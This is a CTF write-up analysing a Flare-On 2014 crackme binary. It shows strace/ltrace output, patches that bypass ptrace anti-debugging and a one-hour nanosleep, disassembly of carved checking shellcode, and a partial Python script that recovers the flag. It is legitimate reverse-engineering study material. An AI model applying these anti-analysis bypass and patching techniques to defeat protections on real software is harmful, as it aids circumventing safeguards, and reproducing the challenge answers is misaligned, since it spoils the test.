βββββββββββββββββββββββββ
βββββββββββββββββββββββββ
FLOSS TIGHT STRINGS (0)
βββββββββββββββββββββββββ
βββββββββββββββββββββββββββ
FLOSS DECODED STRINGS (0)
βββββββββββββββββββββββββββ
- Now we we jump into some disassembly stuff
Basic Dynamic Analysis
ltracetraces library function calls, like- printf
- strcmp
- malloc
- fopen
- puts
- exit etc..
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ ltrace ./e7bc5d2c0cf4480348f5504196561297
Couldn't find .dynsym or .dynstr in "/proc/2152/exe"
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ no
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ ltrace ./e7bc5d2c0cf4480348f5504196561297 arg1
Couldn't find .dynsym or .dynstr in "/proc/2154/exe"
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ na
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ ltrace ./e7bc5d2c0cf4480348f5504196561297 arg1 agr2
Couldn't find .dynsym or .dynstr in "/proc/2156/exe"
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ bad
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ ltrace ./e7bc5d2c0cf4480348f5504196561297 arg1 agr2 arg3
Couldn't find .dynsym or .dynstr in "/proc/2160/exe"
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ stahp
ltrace ./e7bc5d2c0cf4480348f5504196561297 arg1 agr2 arg3 agr4
Couldn't find .dynsym or .dynstr in "/proc/2162/exe"
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ stahp
straceshows how a program talks to the Linux kernel.- The binary initializes normally, performs minimal environment setup, does not receive required arguments, immediately fails its internal validation logic, prints
"no", and exits with a fixed failure code. - No user-controlled input is processed at all meaning the program expects specific arguments, and if they are not present or not correct, it terminates instantly.
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ strace ./e7bc5d2c0cf4480348f5504196561297
execve("./e7bc5d2c0cf4480348f5504196561297", ["./e7bc5d2c0cf4480348f55041965612"...], 0x7ffd6d797520 /* 49 vars */) = 0
uname({sysname="Linux", nodename="remnux", ...}) = 0
brk(NULL) = 0x3fde1000
brk(0x3fde21c0) = 0x3fde21c0
arch_prctl(ARCH_SET_FS, 0x3fde1880) = 0
brk(0x3fe031c0) = 0x3fe031c0
brk(0x3fe04000) = 0x3fe04000
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f74a9d75000
write(1, "no\n", 3no
) = 3
exit_group(52) = ?
+++ exited with 52 +++
# Running Strace with 2 arguments
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ strace ./e7bc5d2c0cf4480348f5504196561297 arg1 arg2
execve("./e7bc5d2c0cf4480348f5504196561297", ["./e7bc5d2c0cf4480348f55041965612"..., "arg1", "arg2"], 0x7ffdb7a46ad0 /* 49 vars */) = 0
uname({sysname="Linux", nodename="remnux", ...}) = 0
brk(NULL) = 0x7018000
brk(0x70191c0) = 0x70191c0
arch_prctl(ARCH_SET_FS, 0x7018880) = 0
brk(0x703a1c0) = 0x703a1c0
brk(0x703b000) = 0x703b000
ptrace(PTRACE_TRACEME) = -1 EPERM (Operation not permitted)
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fb585c32000
write(1, "Program received signal SIGSEGV,"..., 52Program received signal SIGSEGV, Segmentation fault
) = 52
exit_group(9001) = ?
+++ exited with 41 +++
- This is simplest anti-debugging technique in Linux, simply,
- Here is the linux
syscalltable, https://web.archive.org/web/20201218060355/http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/.
if (ptrac(PTRACE_TRACEME, 0, 1, 0) == -1) BeingDebugged = true;
Advance Static Analysis
- Here is the reference of
sys_ptraceinsub_4742B0function, so rename withmw_syscall_anti_debug_ptrace - TheΒ
ptraceΒ system call (sys_ptrace) in Linux is used by a tracer process to monitor and control a trace process, generally returningΒ0Β on success orΒ-1Β on error.

- this
mw_anti_debug_ptraceis referenced in another function which is checking the return value and if it is -1 which means failed then it will crash and returnSegmentation Faultso we have to patch that by replacing74 (jz)conditional jump withEB (jmp)unconditional jump. - I used this as reference,

if ( (mw_anti_debug_ptrace(0, 0, 1u, 0) & 0x8000000000000000LL) != 0LL )
{
sub_45EBE0((__int64)"Program received signal SIGSEGV, Segmentation fault");
sub_45E790(9001);
}
Patch 1: ptrace patching
- So to patch that
- I need to first get opcodes to identify the hex sequence so to do that i used idaβs patch feature and get the sequence of opcodes,
74 14 BF 50 3B 4F 00 E8 B8 F9 03 00 BF 29 23 00

- I can use HxD, to change
74toEB,

- After that, i open it in ida and as you can see that it is taking unconditional jump with any condition so the patch worked perfectly.

- Now this command no longer given seg fault,
βββ(b14ckyγΏDESKTOP-VRSQRAJ)-[~/]
ββ$ strace -i ./e7bc5d2c0cf4480348f5504196561297.patched arg1 arg2
[00007add30ede557] execve("./e7bc5d2c0cf4480348f5504196561297.patched", ["./e7bc5d2c0cf4480348f55041965612"..., "arg1", "arg2"], 0x7fff3abb55b8 /* 35 vars */) = 0
[00000000004a9297] uname({sysname="Linux", nodename="DESKTOP-VRSQRAJ", ...}) = 0
[00000000004aa78a] brk(NULL) = 0x27391000
[00000000004aa78a] brk(0x273921c0) = 0x273921c0
[000000000045e3f5] arch_prctl(ARCH_SET_FS, 0x27391880) = 0
[00000000004aa78a] brk(0x273b31c0) = 0x273b31c0
[00000000004aa78a] brk(0x273b4000) = 0x273b4000
[000000000047431b] ptrace(PTRACE_TRACEME) = -1 EPERM (Operation not permitted)
[0000000000473e44] fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0), ...}) = 0
[000000000047509a] mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x778d0840d000
[0000000000473f50] write(1, "bad\n", 4bad
) = 4
[0000000000473dd8] exit_group(420) = ?
[????????????????] +++ exited with 164 +++
- Now lets analyze the
sub_435E20which hasbadstring so i renamed it asmw_bad_strand by doing some digging i can see that it is checking that argument length is 10 or not.

- By analyzing further we understand that the string βbngcg`debdβ is XORβed withΒ
0x56Β to obtain the value of the 1st argument.

- By doing XOR i get this value
4815162342, which is exactly 10 digit long so i passed this as argument in patched program,

- We can see a
nanosleepat offsetΒ0x473d50.
βββ(b14ckyγΏDESKTOP-VRSQRAJ)-[~/]
ββ$ strace -i ./e7bc5d2c0cf4480348f5504196561297.patched 4815162342 arg2
[00007f2fa72de557] execve("./e7bc5d2c0cf4480348f5504196561297.patched", ["./e7bc5d2c0cf4480348f55041965612"..., "4815162342", "arg2"], 0x7ffcc1afea98 /* 35 vars */) = 0
[00000000004a9297] uname({sysname="Linux", nodename="DESKTOP-VRSQRAJ", ...}) = 0
[00000000004aa78a] brk(NULL) = 0x2c36a000
[00000000004aa78a] brk(0x2c36b1c0) = 0x2c36b1c0
[000000000045e3f5] arch_prctl(ARCH_SET_FS, 0x2c36a880) = 0
[00000000004aa78a] brk(0x2c38c1c0) = 0x2c38c1c0
[00000000004aa78a] brk(0x2c38d000) = 0x2c38d000
[000000000047431b] ptrace(PTRACE_TRACEME) = -1 EPERM (Operation not permitted)
[000000000047c9c0] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
[000000000047c882] rt_sigaction(SIGCHLD, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[0000000000473d50] nanosleep({tv_sec=3600, tv_nsec=0}, ^C{tv_sec=3581, tv_nsec=387430080}) = ? ERESTART_RESTARTBLOCK (Interrupted by signal)
nanosleep(3600 seconds);which is 1 hour,- it is used for
- Waste analyst time
- Beat sandbox timeouts
- Make sample look βhungβ
- At this
0x473d50offset it it doing syscall tonanosleep, and the function issub_473D40. - InΒ IDA Pro, we confirmΒ 0x63Β (35) is moved toΒ EAXΒ andΒ syscallΒ is then called.
- Still referring to theΒ syscall table, we confirm it corresponds to
nanosleep. - https://man7.org/linux/man-pages/man2/nanosleep.2.html

Patch 2: nanosleep patch
- We can see that
nanosleepis called 2 times in the function. - Letβs patch the code by replacingΒ syscallΒ withΒ NOPβs, as follows:
- So same as previously we grep the hex stream which is this,
B8 23 00 00 00 0F 05

- Using HxD we will patch that,

- After that i checked the
diffboth and here is what i got,
< e7bc5d2c0cf4480348f5504196561297.patched2: file format elf64-x86-64
---
> e7bc5d2c0cf4480348f5504196561297.patched2.bak: file format elf64-x86-64
122582,122588c122582,122583
< 473d49: 90 nop
< 473d4a: 90 nop
< 473d4b: 90 nop
< 473d4c: 90 nop
< 473d4d: 90 nop
< 473d4e: 90 nop
< 473d4f: 90 nop
---
> 473d49: b8 23 00 00 00 mov eax,0x23
> 473d4e: 0f 05 syscall
122595,122601c122590,122591
< 473d6a: 90 nop
< 473d6b: 90 nop
< 473d6c: 90 nop
< 473d6d: 90 nop
< 473d6e: 90 nop
< 473d6f: 90 nop
< 473d70: 90 nop
---
> 473d6a: b8 23 00 00 00 mov eax,0x23
> 473d6f: 0f 05 syscall
- Now we know that this first argument but what about second argument,
- So i dig little and found that some bytes are being encoded using base64.
- I got into the habit of copying the base64 bytes and setting up breakpoints every once in a while to get back to a checkpoint after each crash.
sub_401164function decodes the bytes from base64.


- After some analysis i found that those bytes are shellcode,
- This is the flow of shellcode function,
entry ->
sub_452079 ->
sub_44D525 ->
sub_44BE43 ->
sub_44B942 (Decompile_problem) -> mw_base64_decode
-> mw_shellcode_sus
Advance Dynamic Analysis
- I used
edbtool for dynamic debugging for elf, - So i go to that
0x44bb2blocation and i found that it is calling, as discussed previously,
00000000:0044bb2b ff d2 call rdx
- So we can dump it by doing follow in dump of
rdxand we get the shellcode, - I carve the shellcode and remove some unnecessary bytes,

- I step into the function and see where shellcode ends and it is ending on this last operation, so up till this i kept and remove remaining bytes,
0x00007ffd6741cc8c: 80 38 D7 cmp byte ptr [eax], 0xd7
Stage 2 Shellcode Analysis
Initial Triage
- File Type: shellcode.bin: data
- Size: 607 bytes
- SHA256: 85b70829d62ab78429754247036a540afdb3548608cef9bbde53bef1f6ccd8c5
Basic Static Analysis
- I checked VT for this hash, but it gives no results,
- So i upload it and check whether it gives something, but nothing


Advance Static Analysis
- This is 2nd stage shellcode carved from 1st stage elf,
48 89 f8 e8 00 00 00 00 48 8b 1c 24 48 83 c3 0a eb 0a 48 31 d2 48 31 c0 b0 3c 0f 05 c0 08 f2 80 38 1b 74 02 ff e3 48 83 c0 01 80 30 40 80 30 f2 80 30 b3 80 38 30 74 02 ff e3 48 83 c0 01 80 30 71 80 38 1f 74 02 ff e3 48 83 c0 01 80 00 a3 c0 08 bc 80 38 b0 74 02 ff e3 48 83 c0 01 80 28 79 80 38 e8 74 02 ff e3 48 83 c0 01 c0 08 82 80 28 28 80 38 f6 74 02 ff e3 48 83 c0 01 80 28 b0 c0 08 4d 80 00 2c 80 38 1f 74 02 ff e3 48 83 c0 01 80 00 54 c0 00 99 80 30 b8 c0 08 2a 80 00 3f 80 38 af 74 02 ff e3 48 83 c0 01 c0 08 ba 80 38 5d 74 02 ff e3 48 83 c0 01 80 30 ed c0 08 6c 80 00 30 80 38 29 74 02 ff e3 48 83 c0 01 80 28 bf 80 38 b5 74 02 ff e3 48 83 c0 01 c0 00 bc 80 00 8c c0 00 7b 80 28 31 80 00 63 80 38 a5 74 02 ff e3 48 83 c0 01 c0 00 20 c0 00 16 80 30 ae c0 00 98 80 38 f3 74 02 ff e3 48 83 c0 01 c0 08 6e 80 00 d2 80 38 a6 74 02 ff e3 48 83 c0 01 80 00 34 80 38 62 74 02 ff e3 48 83 c0 01 80 00 cd 80 28 10 80 00 62 80 30 b2 80 38 32 74 02 ff e3 48 83 c0 01 80 30 b7 80 30 73 c0 08 07 80 38 eb 74 02 ff e3 48 83 c0 01 80 00 34 80 28 61 c0 08 36 80 00 5b 80 28 4c 80 38 0b 74 02 ff e3 48 83 c0 01 80 00 5a 80 38 9a 74 02 ff e3 48 83 c0 01 c0 08 a2 80 38 99 74 02 ff e3 48 83 c0 01 80 30 7e 80 28 e7 80 38 2b 74 02 ff e3 48 83 c0 01 80 28 b8 80 30 86 80 00 4e c0 08 4a c0 00 57 80 38 af 74 02 ff e3 48 83 c0 01 c0 08 86 80 30 e8 c0 00 95 80 30 4a 80 30 ad 80 38 c3 74 02 ff e3 48 83 c0 01 c0 08 45 80 30 cc 80 00 1c 80 38 03 74 02 ff e3 48 83 c0 01 80 28 4a 80 38 e3 74 02 ff e3 48 83 c0 01 80 30 a5 c0 08 90 80 38 ca 74 02 ff e3 48 83 c0 01 c0 08 de c0 00 36 80 30 78 80 28 d8 80 38 3e 74 02 ff e3 48 83 c0 01 80 00 b5 80 28 ad c0 08 89 c0 00 a2 c0 00 11 80 38 d8 74 02 ff e3 48 83 c0 01 80 00 40 80 28 21 c0 08 c0 80 38 82 74 02 ff e3 48 83 c0 01 c0 00 e3 80 38 7b 74 02 ff e3 48 83 c0 01 80 28 78 c0 08 f6 80 38 d7
- And this is actual disassembled assembly,
0x0000000000000000: 48 dec eax
0x0000000000000001: 89 F8 mov eax, edi
0x0000000000000003: E8 00 00 00 00 call 8
0x0000000000000008: 48 dec eax
0x0000000000000009: 8B 1C 24 mov ebx, dword ptr [esp]
0x000000000000000c: 48 dec eax
0x000000000000000d: 83 C3 0A add ebx, 0xa
0x0000000000000010: EB 0A jmp 0x1c
0x0000000000000012: 48 dec eax
0x0000000000000013: 31 D2 xor edx, edx
0x0000000000000015: 48 dec eax
0x0000000000000016: 31 C0 xor eax, eax
0x0000000000000018: B0 3C mov al, 0x3c
0x000000000000001a: 0F 05 syscall
0x000000000000001c: C0 08 F2 ror byte ptr [eax], 0xf2
0x000000000000001f: 80 38 1B cmp byte ptr [eax], 0x1b
0x0000000000000022: 74 02 je 0x26
0x0000000000000024: FF E3 jmp ebx
0x0000000000000026: 48 dec eax
0x0000000000000027: 83 C0 01 add eax, 1
0x000000000000002a: 80 30 40 xor byte ptr [eax], 0x40
0x000000000000002d: 80 30 F2 xor byte ptr [eax], 0xf2
0x0000000000000030: 80 30 B3 xor byte ptr [eax], 0xb3
0x0000000000000033: 80 38 30 cmp byte ptr [eax], 0x30
0x0000000000000036: 74 02 je 0x3a
0x0000000000000038: FF E3 jmp ebx
0x000000000000003a: 48 dec eax
0x000000000000003b: 83 C0 01 add eax, 1
0x000000000000003e: 80 30 71 xor byte ptr [eax], 0x71
0x0000000000000041: 80 38 1F cmp byte ptr [eax], 0x1f
0x0000000000000044: 74 02 je 0x48
0x0000000000000046: FF E3 jmp ebx
0x0000000000000048: 48 dec eax
0x0000000000000049: 83 C0 01 add eax, 1
0x000000000000004c: 80 00 A3 add byte ptr [eax], 0xa3
0x000000000000004f: C0 08 BC ror byte ptr [eax], 0xbc
0x0000000000000052: 80 38 B0 cmp byte ptr [eax], 0xb0
0x0000000000000055: 74 02 je 0x59
0x0000000000000057: FF E3 jmp ebx
0x0000000000000059: 48 dec eax
0x000000000000005a: 83 C0 01 add eax, 1
0x000000000000005d: 80 28 79 sub byte ptr [eax], 0x79
0x0000000000000060: 80 38 E8 cmp byte ptr [eax], 0xe8
0x0000000000000063: 74 02 je 0x67
0x0000000000000065: FF E3 jmp ebx
0x0000000000000067: 48 dec eax
0x0000000000000068: 83 C0 01 add eax, 1
0x000000000000006b: C0 08 82 ror byte ptr [eax], 0x82
0x000000000000006e: 80 28 28 sub byte ptr [eax], 0x28
0x0000000000000071: 80 38 F6 cmp byte ptr [eax], 0xf6
0x0000000000000074: 74 02 je 0x78
0x0000000000000076: FF E3 jmp ebx
0x0000000000000078: 48 dec eax
0x0000000000000079: 83 C0 01 add eax, 1
0x000000000000007c: 80 28 B0 sub byte ptr [eax], 0xb0
0x000000000000007f: C0 08 4D ror byte ptr [eax], 0x4d
0x0000000000000082: 80 00 2C add byte ptr [eax], 0x2c
0x0000000000000085: 80 38 1F cmp byte ptr [eax], 0x1f
0x0000000000000088: 74 02 je 0x8c
0x000000000000008a: FF E3 jmp ebx
0x000000000000008c: 48 dec eax
0x000000000000008d: 83 C0 01 add eax, 1
0x0000000000000090: 80 00 54 add byte ptr [eax], 0x54
0x0000000000000093: C0 00 99 rol byte ptr [eax], 0x99
0x0000000000000096: 80 30 B8 xor byte ptr [eax], 0xb8
0x0000000000000099: C0 08 2A ror byte ptr [eax], 0x2a
0x000000000000009c: 80 00 3F add byte ptr [eax], 0x3f
0x000000000000009f: 80 38 AF cmp byte ptr [eax], 0xaf
0x00000000000000a2: 74 02 je 0xa6
0x00000000000000a4: FF E3 jmp ebx
0x00000000000000a6: 48 dec eax
0x00000000000000a7: 83 C0 01 add eax, 1
0x00000000000000aa: C0 08 BA ror byte ptr [eax], 0xba
0x00000000000000ad: 80 38 5D cmp byte ptr [eax], 0x5d
0x00000000000000b0: 74 02 je 0xb4
0x00000000000000b2: FF E3 jmp ebx
0x00000000000000b4: 48 dec eax
0x00000000000000b5: 83 C0 01 add eax, 1
0x00000000000000b8: 80 30 ED xor byte ptr [eax], 0xed
0x00000000000000bb: C0 08 6C ror byte ptr [eax], 0x6c
0x00000000000000be: 80 00 30 add byte ptr [eax], 0x30
0x00000000000000c1: 80 38 29 cmp byte ptr [eax], 0x29
0x00000000000000c4: 74 02 je 0xc8
0x00000000000000c6: FF E3 jmp ebx
0x00000000000000c8: 48 dec eax
0x00000000000000c9: 83 C0 01 add eax, 1
0x00000000000000cc: 80 28 BF sub byte ptr [eax], 0xbf
0x00000000000000cf: 80 38 B5 cmp byte ptr [eax], 0xb5
0x00000000000000d2: 74 02 je 0xd6
0x00000000000000d4: FF E3 jmp ebx
0x00000000000000d6: 48 dec eax
0x00000000000000d7: 83 C0 01 add eax, 1
0x00000000000000da: C0 00 BC rol byte ptr [eax], 0xbc
0x00000000000000dd: 80 00 8C add byte ptr [eax], 0x8c
0x00000000000000e0: C0 00 7B rol byte ptr [eax], 0x7b
0x00000000000000e3: 80 28 31 sub byte ptr [eax], 0x31
0x00000000000000e6: 80 00 63 add byte ptr [eax], 0x63
0x00000000000000e9: 80 38 A5 cmp byte ptr [eax], 0xa5
0x00000000000000ec: 74 02 je 0xf0
0x00000000000000ee: FF E3 jmp ebx
0x00000000000000f0: 48 dec eax
0x00000000000000f1: 83 C0 01 add eax, 1
0x00000000000000f4: C0 00 20 rol byte ptr [eax], 0x20
0x00000000000000f7: C0 00 16 rol byte ptr [eax], 0x16
0x00000000000000fa: 80 30 AE xor byte ptr [eax], 0xae
0x00000000000000fd: C0 00 98 rol byte ptr [eax], 0x98
0x0000000000000100: 80 38 F3 cmp byte ptr [eax], 0xf3
0x0000000000000103: 74 02 je 0x107
0x0000000000000105: FF E3 jmp ebx
0x0000000000000107: 48 dec eax
0x0000000000000108: 83 C0 01 add eax, 1
0x000000000000010b: C0 08 6E ror byte ptr [eax], 0x6e
0x000000000000010e: 80 00 D2 add byte ptr [eax], 0xd2
0x0000000000000111: 80 38 A6 cmp byte ptr [eax], 0xa6
0x0000000000000114: 74 02 je 0x118
0x0000000000000116: FF E3 jmp ebx
0x0000000000000118: 48 dec eax
0x0000000000000119: 83 C0 01 add eax, 1
0x000000000000011c: 80 00 34 add byte ptr [eax], 0x34
0x000000000000011f: 80 38 62 cmp byte ptr [eax], 0x62
0x0000000000000122: 74 02 je 0x126
0x0000000000000124: FF E3 jmp ebx
0x0000000000000126: 48 dec eax
0x0000000000000127: 83 C0 01 add eax, 1
0x000000000000012a: 80 00 CD add byte ptr [eax], 0xcd
0x000000000000012d: 80 28 10 sub byte ptr [eax], 0x10
0x0000000000000130: 80 00 62 add byte ptr [eax], 0x62
0x0000000000000133: 80 30 B2 xor byte ptr [eax], 0xb2
0x0000000000000136: 80 38 32 cmp byte ptr [eax], 0x32
0x0000000000000139: 74 02 je 0x13d
0x000000000000013b: FF E3 jmp ebx
0x000000000000013d: 48 dec eax
0x000000000000013e: 83 C0 01 add eax, 1
0x0000000000000141: 80 30 B7 xor byte ptr [eax], 0xb7
0x0000000000000144: 80 30 73 xor byte ptr [eax], 0x73
0x0000000000000147: C0 08 07 ror byte ptr [eax], 7
0x000000000000014a: 80 38 EB cmp byte ptr [eax], 0xeb
0x000000000000014d: 74 02 je 0x151
0x000000000000014f: FF E3 jmp ebx
0x0000000000000151: 48 dec eax
0x0000000000000152: 83 C0 01 add eax, 1
0x0000000000000155: 80 00 34 add byte ptr [eax], 0x34
0x0000000000000158: 80 28 61 sub byte ptr [eax], 0x61
0x000000000000015b: C0 08 36 ror byte ptr [eax], 0x36
0x000000000000015e: 80 00 5B add byte ptr [eax], 0x5b
0x0000000000000161: 80 28 4C sub byte ptr [eax], 0x4c
0x0000000000000164: 80 38 0B cmp byte ptr [eax], 0xb
0x0000000000000167: 74 02 je 0x16b
0x0000000000000169: FF E3 jmp ebx
0x000000000000016b: 48 dec eax
0x000000000000016c: 83 C0 01 add eax, 1
0x000000000000016f: 80 00 5A add byte ptr [eax], 0x5a
0x0000000000000172: 80 38 9A cmp byte ptr [eax], 0x9a
0x0000000000000175: 74 02 je 0x179
0x0000000000000177: FF E3 jmp ebx
0x0000000000000179: 48 dec eax
0x000000000000017a: 83 C0 01 add eax, 1
0x000000000000017d: C0 08 A2 ror byte ptr [eax], 0xa2
0x0000000000000180: 80 38 99 cmp byte ptr [eax], 0x99
0x0000000000000183: 74 02 je 0x187
0x0000000000000185: FF E3 jmp ebx
0x0000000000000187: 48 dec eax
0x0000000000000188: 83 C0 01 add eax, 1
0x000000000000018b: 80 30 7E xor byte ptr [eax], 0x7e
0x000000000000018e: 80 28 E7 sub byte ptr [eax], 0xe7
0x0000000000000191: 80 38 2B cmp byte ptr [eax], 0x2b
0x0000000000000194: 74 02 je 0x198
0x0000000000000196: FF E3 jmp ebx
0x0000000000000198: 48 dec eax
0x0000000000000199: 83 C0 01 add eax, 1
0x000000000000019c: 80 28 B8 sub byte ptr [eax], 0xb8
0x000000000000019f: 80 30 86 xor byte ptr [eax], 0x86
0x00000000000001a2: 80 00 4E add byte ptr [eax], 0x4e
0x00000000000001a5: C0 08 4A ror byte ptr [eax], 0x4a
0x00000000000001a8: C0 00 57 rol byte ptr [eax], 0x57
0x00000000000001ab: 80 38 AF cmp byte ptr [eax], 0xaf
0x00000000000001ae: 74 02 je 0x1b2
0x00000000000001b0: FF E3 jmp ebx
0x00000000000001b2: 48 dec eax
0x00000000000001b3: 83 C0 01 add eax, 1
0x00000000000001b6: C0 08 86 ror byte ptr [eax], 0x86
0x00000000000001b9: 80 30 E8 xor byte ptr [eax], 0xe8
0x00000000000001bc: C0 00 95 rol byte ptr [eax], 0x95
0x00000000000001bf: 80 30 4A xor byte ptr [eax], 0x4a
0x00000000000001c2: 80 30 AD xor byte ptr [eax], 0xad
0x00000000000001c5: 80 38 C3 cmp byte ptr [eax], 0xc3
0x00000000000001c8: 74 02 je 0x1cc
0x00000000000001ca: FF E3 jmp ebx
0x00000000000001cc: 48 dec eax
0x00000000000001cd: 83 C0 01 add eax, 1
0x00000000000001d0: C0 08 45 ror byte ptr [eax], 0x45
0x00000000000001d3: 80 30 CC xor byte ptr [eax], 0xcc
0x00000000000001d6: 80 00 1C add byte ptr [eax], 0x1c
0x00000000000001d9: 80 38 03 cmp byte ptr [eax], 3
0x00000000000001dc: 74 02 je 0x1e0
0x00000000000001de: FF E3 jmp ebx
0x00000000000001e0: 48 dec eax
0x00000000000001e1: 83 C0 01 add eax, 1
0x00000000000001e4: 80 28 4A sub byte ptr [eax], 0x4a
0x00000000000001e7: 80 38 E3 cmp byte ptr [eax], 0xe3
0x00000000000001ea: 74 02 je 0x1ee
0x00000000000001ec: FF E3 jmp ebx
0x00000000000001ee: 48 dec eax
0x00000000000001ef: 83 C0 01 add eax, 1
0x00000000000001f2: 80 30 A5 xor byte ptr [eax], 0xa5
0x00000000000001f5: C0 08 90 ror byte ptr [eax], 0x90
0x00000000000001f8: 80 38 CA cmp byte ptr [eax], 0xca
0x00000000000001fb: 74 02 je 0x1ff
0x00000000000001fd: FF E3 jmp ebx
0x00000000000001ff: 48 dec eax
0x0000000000000200: 83 C0 01 add eax, 1
0x0000000000000203: C0 08 DE ror byte ptr [eax], 0xde
0x0000000000000206: C0 00 36 rol byte ptr [eax], 0x36
0x0000000000000209: 80 30 78 xor byte ptr [eax], 0x78
0x000000000000020c: 80 28 D8 sub byte ptr [eax], 0xd8
0x000000000000020f: 80 38 3E cmp byte ptr [eax], 0x3e
0x0000000000000212: 74 02 je 0x216
0x0000000000000214: FF E3 jmp ebx
0x0000000000000216: 48 dec eax
0x0000000000000217: 83 C0 01 add eax, 1
0x000000000000021a: 80 00 B5 add byte ptr [eax], 0xb5
0x000000000000021d: 80 28 AD sub byte ptr [eax], 0xad
0x0000000000000220: C0 08 89 ror byte ptr [eax], 0x89
0x0000000000000223: C0 00 A2 rol byte ptr [eax], 0xa2
0x0000000000000226: C0 00 11 rol byte ptr [eax], 0x11
0x0000000000000229: 80 38 D8 cmp byte ptr [eax], 0xd8
0x000000000000022c: 74 02 je 0x230
0x000000000000022e: FF E3 jmp ebx
0x0000000000000230: 48 dec eax
0x0000000000000231: 83 C0 01 add eax, 1
0x0000000000000234: 80 00 40 add byte ptr [eax], 0x40
0x0000000000000237: 80 28 21 sub byte ptr [eax], 0x21
0x000000000000023a: C0 08 C0 ror byte ptr [eax], 0xc0
0x000000000000023d: 80 38 82 cmp byte ptr [eax], 0x82
0x0000000000000240: 74 02 je 0x244
0x0000000000000242: FF E3 jmp ebx
0x0000000000000244: 48 dec eax
0x0000000000000245: 83 C0 01 add eax, 1
0x0000000000000248: C0 00 E3 rol byte ptr [eax], 0xe3
0x000000000000024b: 80 38 7B cmp byte ptr [eax], 0x7b
0x000000000000024e: 74 02 je 0x252
0x0000000000000250: FF E3 jmp ebx
0x0000000000000252: 48 dec eax
0x0000000000000253: 83 C0 01 add eax, 1
0x0000000000000256: 80 28 78 sub byte ptr [eax], 0x78
0x0000000000000259: C0 08 F6 ror byte ptr [eax], 0xf6
0x000000000000025c: 80 38 D7 cmp byte ptr [eax], 0xd7
- As you can see, for each letter, there are transformations (ror, rol, xor, add, sub) applied to the letter provided. The result is then compared to an expected result. If it succeeds (expected result), the program continues and if it fails, it exits.
- Since we have the result of the transformations for each letter, it is possible to reverse the logic to get the initial letter. Letβs take an example (letter 4). The code is as follows:
add byte ptr [rax], 0xa3
ror byte ptr [rax], 0xbc
cmp byte ptr [rax], 0xb0

- As you can see it is character by character check so we have to make script to automate it,

- This script reverses a byte-by-byte verification routine or decryption in the binary to recover the correct second command-line argument.
- In short, you have to enter 2nd flag as arg2 and it will perform certain operation with each character and compare it and if succeed then proceed.
- So we can build flag from this operation by reverse decoding it.
- Script Taken from: https://www.aldeid.com/wiki/The-FLARE-On-Challenge-01/Challenge-6
#!/usr/bin/env python
# source for rol and ror: http://www.falatic.com/index.php/108/python-and-bitwise-rotation
# Rotate left. Set max_bits to 8.
rol = lambda val, r_bits, max_bits=8: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
# Rotate right. Set max_bits to 8.
ror = lambda val, r_bits, max_bits=8: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
l = []
### Letter 1
"""
ror byte ptr [rax], 0xf2
cmp byte ptr [rax], 27
"""
l.append( rol(27, 0xf2) )
### Letter 2
"""
xor byte ptr [rax], 64
xor byte ptr [rax], 0xf2
xor byte ptr [rax], 0xb3
cmp byte ptr [rax], 48
"""
l.append( 48 ^ 0xb3 ^ 0xf2 ^ 64 )
### Letter 3
"""
xor byte ptr [rax], 113
cmp byte ptr [rax], 31
"""
l.append( 31 ^ 113 )
### letter 4
"""
add byte ptr [rax], 0xa3
ror byte ptr [rax], 0xbc
cmp byte ptr [rax], 0xb0
"""
l.append( rol(0xb0, 0xbc) - 0xa3 )
### letter 5
"""
sub byte ptr [rax], 121
cmp byte ptr [rax], 0xe8
"""
l.append( 0xe8 + 121 )
### letter 6
"""
ror byte ptr [rax], 0x82
sub byte ptr [rax], 40
cmp byte ptr [rax], 0xf6
"""
l.append( rol(0xf6 + 40, 0x82) )
### letter 7
"""
sub byte ptr [rax], 0xb0
ror byte ptr [rax], 77
add byte ptr [rax], 44
cmp byte ptr [rax], 31
"""
l.append( rol(31 - 44, 77) + 0xb0 )
### letter 8
"""
add byte ptr [rax], 84
rol byte ptr [rax], 0x99
xor byte ptr [rax], 0xb8
ror byte ptr [rax], 42
add byte ptr [rax], 63
cmp byte ptr [rax], 0xaf
"""
l.append( ror(rol(0xaf - 63, 42) ^ 0xb8, 0x99) - 84 )
### letter 9
"""
ror byte ptr [rax], 0xba
cmp byte ptr [rax], 93
"""
l.append( rol(93, 0xba) )
### letter 10
"""
xor byte ptr [rax], 0xed
ror byte ptr [rax], 108
add byte ptr [rax], 48
cmp byte ptr [rax], 41
"""
l.append( rol(41 - 48, 108) ^ 0xed )
### letter 11
"""
sub byte ptr [rax], 0xbf
cmp byte ptr [rax], 0xb5
"""
l.append( 0xb5 + 0xbf )
### letter 12
"""
rol byte ptr [rax], 0xbc
add byte ptr [rax], 0x8c
rol byte ptr [rax], 123
sub byte ptr [rax], 49
add byte ptr [rax], 99
cmp byte prt [rax], 0xa5
"""
l.append( ror(ror(0xa5 - 99 + 49, 123) - 0x8c, 0xbc) )
